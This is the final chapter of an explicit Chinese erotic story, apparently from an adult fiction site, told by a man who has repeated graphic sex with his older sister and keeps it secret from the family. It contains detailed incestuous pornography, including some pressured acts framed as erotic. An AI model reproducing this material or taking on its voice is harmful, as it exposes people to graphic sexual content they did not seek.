“啊,用力再用力,加速……深入……浅出……缓速……再加速啊。”姐姐单手抚乳一手揉着阴蒂兴奋地叫道。

“姐,你在开车啊!”我喘着气说。

“是骑马,好弟弟,亲老公你骑得我好舒服,啊……快用力插啊,操死我吧,老公。”

姐姐的阴户太紧了,肉棒给肉壁强有力地吮吸着,身体也不自然地痉挛。

“噗哧……噗哧……”

花心咬得我龟头痒麻麻的,我紧守精关只顾一通乱捅。

“啊,好美,我好像飞在了空中躺在了云上,就要丢了,啊啊啊……”

姐姐在我高强度地抽插中丢下了股股春水,一阵阵地淋在我龟头上,直把我刺激地差点精关不守。

我抱起姐姐搂在腰上,鸡巴一下下得往上顶。

“弟……老公,你真想操死我啊,你还不射?”姐姐有气无力地爬在我身上娇哼哼着。

“让你小看我,我现在才有点感觉。”

“你太强了,姐以后再也离不开你了,啊……顶到花心的感觉就是好。”

我把姐姐往床上一扔,用鸡巴在阴唇上磨擦着稍微喘喘气。

姐姐突然感到心里一阵空虚,小穴痒的难受,小手握住巨龙就往小穴里塞。

“坏弟弟,你想愁死我啊,我就是个荡妇,就是欠操,快给我吧。”

“想要?观音坐莲吧。”

姐姐粗鲁地把我推倒,身体紧压了上来。我看着白花花的乳肉,鸡巴在肉洞里一隐一现,心里感到一阵刺激。

我大吼一声把姐姐扑倒在床狠狠地操着。

连续插了几分钟,鸡巴再也忍不住死死往子宫里顶,阳精噗噗地喷射在花心里。

姐姐给我滚烫地精华一烫,双手紧紧地抱着我,张嘴一咬,子宫一阵收缩就丢了出来。

高潮过后的我们紧贴在一起气喘吁吁的。我苦着脸说:“姐,你属狗的啊,又咬我。”

姐姐得意地说:“谁叫你欺负我,你欺负我我就咬你,你不欺负我我就不咬呗。你选哪样?”

“那……还是咬吧,我就是喜欢欺负你。”

身体强就是好啊,我的鸡巴又在姐姐玉壶里胀硬起来。

“姐,我还要。”

姐惊慌地说:“不行了,小穴已经饱了,再经不起你遭蹋了。”

“可我好难受哦,你舒服完了不能不管我啊。”

姐姐握住我那根她又爱又恨的肉棒左右为难。忽然姐姐白了我一眼,俯下身张开小嘴,不顾上面混着的爱液,就含了下去。

“嘶……”我吸了口气,惊讶地看着姐姐心里却一阵高兴,当一个女人肯为你吹萧,那是爱到极致的表现啊。

姐姐生疏而笨拙地吮吸着,牙齿也不时碰到我龟头。

姐姐看见我皱了皱眉,就改为轻舔,丁香小舌调皮地在我龟头上跳着舞。

过了一会,姐姐也掌握了一些技巧,技术也熟练起来,大开大合地直让我浑身打哆嗦。

我心里感到一阵刺激和快感,紧压住姐姐的头猛地喷进姐姐的嘴里。

姐姐被我压着头“咕噜咕噜”地把我阳精吞了下去。

看着姐姐把我鸡巴舔干净了说:“姐,好不好喝呀,大补啊。”

姐姐嫣然一笑,凑过身来说:“好不好喝你尝尝就知道啦。”说完就一嘴亲了过来。

“啊,救命啊,不要。”

一翻打闹过后,我和姐姐疲累地倒在床上,我们的身体仍紧紧地粘在一起,互相倾听着对方的心跳,呼吸对方散发出的体息,我们心里都感到一片的宁静,很温馨很满足,即使这是一段禁忌的爱恋。

姐姐趴在我胸口慵懒地说:“弟弟,你太强了,把姐姐的身与心都征服了,姐以后再也离不开你了,没有你我会死去的。”

我亲吻了姐姐一下,深情地说:“姐姐,我会一直爱着你的,谁也分不开我们,当你感受不到我爱你的时候,那一定是我的心已停止跳动,大不了我们找个没人认识我们的地方生活。”

“你想的倒好,那爸妈呢,婷婷呢。我们的关系可要注意了,人前我们还是姐弟,人后你就是我老公。”

“那当然,老婆姐姐。”

“坏蛋。”

“嗯。”

“我要尿尿。”

“你刚刚不是尿了吗,难道你又想要?”

“要,要你个头,你就知道这个,是那个尿尿啦!”姐姐恼怒道。

“什么这个那个的,要尿就去呗,厕所又没长腿。”

“可我身体好软,没力气了,你抱我去嘛,好不好?”姐姐一边说着,一边拿那要人命的双乳在我身上磨噌着。

“小妖精别玩火,怕你了。”我抱起姐姐就往厕所里跑。

“好了,弟弟,在外面等我一下,这是赏你的。”姐姐说完“啵”的亲了我下。

“嘿嘿,亲一下就想把我给打发走,没那么容易。我也要尿尿,一起吧。”

“一起怎么尿,羞不羞,女人撒尿你也要看。”

“怎么尿?山人自有妙计。”我凑过身去在姐姐耳边轻轻地说了几句。

姐姐一听完羞红着脸猛摇头:“不干,你就会作贱我,怎么羞人你就怎么做,该做不该做的都让人做了。”

“好姐姐,好老婆,就一次好不好,很刺激的哦。”我抱着姐姐,头在姐姐身上乱噌。

姐姐给我闹得受不了,犹豫地道:“就一次?”

“就一次。”

“姐,再给我吹一次吧。”

“大色狼,我非得给你玩死不可。”

姐姐白了我一眼,俯下身就含住了我的小弟弟。

一阵温润的感觉从下身传来,好舒服。

受到刺激的小弟弟一下子就抬起了头,胀满了姐姐的小口。

这回姐姐熟练多了,吮,吸,舔,咬……花样百出。

一条光滑的小蛇调皮地顶在马眼上就是一顿挑逗,痒麻麻的感觉让我舒服地呻吟出来。

粗大坚挺的鸡巴已向我传达待战的信息,我托起姐姐的双腿围在我腰上,以游龙归巢地姿态缓缓挺进。

温润柔软紧密,果然是一个好栖息地,一回生,二回熟,阴道内壁紧紧地包住我的肉棒热烈地欢迎着,蠕动地穴肉轻轻地抚摸肉棒诉说着衷情。

我托着两瓣肥美的屁股,缓缓地抽插,这可是个体力活,所以我并没有大幅度地动作,大龟头也只是在蜜穴深处,与花心亲密地交流着。

姐姐双手圈住我的脖子,气息开始粗重起来,软绵绵地挂在我身上任我摆布。

虽然我觉得自己是个铁人,但我不得不承认我还不是,几十下的活塞运动可把我累得不轻。

我把姐姐放在洗手台上,我伸出舌头撬开了姐姐的樱唇,捕捉里面的那条滑腻的小蛇,单手轻捏那发硬的乳头。

姐姐给我吻得娇喘不已:“弟,我受不了了,心里痒得慌,快动一动,我要你火烫的大鸡巴。”

偷得几下闲的我回复了几分力气,鸡巴由慢转快,狠狠地挺进。

“啊……啊……啊……咿……鸡巴大就是好啊,充实。我爱死你了,弟弟,快点,再快点。”

“姐姐,我一定会让你爽上天的,让你天天享受高质量的性爱。”

“嗯……喔……我等着你的表现,姐姐会奖励你的,啊……插得好深,好兴奋。”

“噗哧,噗哧……”

蜜穴蜜汁流淌,鸡巴进出间带飞片片水滴。

我感觉到肉壁阵阵紧有力的收缩,一紧一松,一咬一放间节奏越来越快。

“哦……美死了,弟弟我要丢了。”

姐姐一声长长的悲鸣,双腿紧紧夹住我的腰,子宫口咬住了我的龟头,随着姐姐痉挛的身体滚滚春潮激荡而出。

由于肉棒受到压迫,又遭雨淋,痒麻麻的感觉让我精关一松。鸡巴在蜜穴里跳动着,股股阳精不停地击打在子宫里。

在这人体最敏感的一刻间,趁着高潮正昂,鸡巴带着余威未尽的势头猛烈地再次抽动。

“啊……姐姐,激情燃烧时刻,让我们放开胸怀感受这极乐天堂,快喷射出来吧。”

姐姐狂乱地呻吟着,身体向上一挺一挺的,好接受更多的刺激。

“啊……受不了了……”

突然,从姐姐的蜜穴里飞出一股水柱,击打在我胸膛上,溅出点点水花。

一时间,在我们紧连的身体间春潮汹涌,一股股水柱不断地喷射。

哇,好壮观,这就是小日本们常玩的潮吹?真他妈的过瘾。

激情喷射一分钟,姐姐紧绷抽搐的身体才慢慢平静下来。

整个人毫无意识地呢喃着,眼神迷乱,脸蛋血红,娇躯上布满了细密的汗珠。

我知道姐姐累坏了,感动着抱着她,轻轻地爱抚着。

过了好一会,姐姐才闷哼一声:“嗯,要死了。”

“姐姐,爽吧,是不是从所未有的刺激。”

姐姐躺在我怀里,微睁着眼睛喃喃地说:“冤家,你真想把我整死不成,都爽飞了。”

这次男女搭配,可把我们累得不轻,我们静静地在浴缸里躺了好久好久。

等我们稍微恢复点力气,姐姐轻轻地说:“好累,一根指头都不想动了,身体脏死了,你的子孙抹得我全身都是,你得给我洗干净。”

鸳鸯浴?这可是个好事,即使再累也不怕。

一翻鸳鸯戏水,其中占占便宜,吃吃豆腐什么的是少不了的,就不为大家细说了。

第二天早上,我给一阵憋气闷醒,我知道有一个调皮蛋在搞鬼。

睁开眼睛一看,眼前两团白花花的,滚圆圆的肉球,在主人的偷笑间一颤一颤一跳一跳的。

我死死地盯住那对玉兔,口水哗啦哗啦地流。

我伸手就抓住那对肉球以防它逃跑,擦了擦口水说:“姐姐,我要喝奶。”

姐姐拍掉我的手,嗔怒道:“大色狼,一早就想使坏,姐姐都是你的了,你什么时候想吃就什么时候吃,现在你赶快起床,给婷婷看到就不好了。”

我不管姐姐的催促,只顾笑咪咪地打量着姐姐美妙的身体,真是百看不厌啊。

姐姐看我不应她,于是推了我一下:“大色狼,大坏蛋,你色咪咪的在想什么,还不快起来。”

我一想到从此如此美妙的人儿就只属于我一个人,心里就是一阵狂喜。

姐姐正值如狼如虎的年龄,我也正值壮年,需求肯定很大。

一天一次会不会不够?

一天二次还是三次呢?

嗯,不想了,美人在怀难道还跑得了不成,性福无限啊。

想到这里我很淫荡地笑着:“嘎嗄……”

【全文完】

  

若本站收录的文章侵犯了您的权益,请联系我们删除侵权内容!

警告:本站立足于美利坚合众国並遵守美利坚法律服务于海外华人,谢绝中国大陆地区访问!
如您未满十八岁或当地法律不允许之年龄、亦或者您对本站内容反感,请自觉离开本站!
寻艳回首 :https://xunyanhs.github.io
聯絡: [email protected]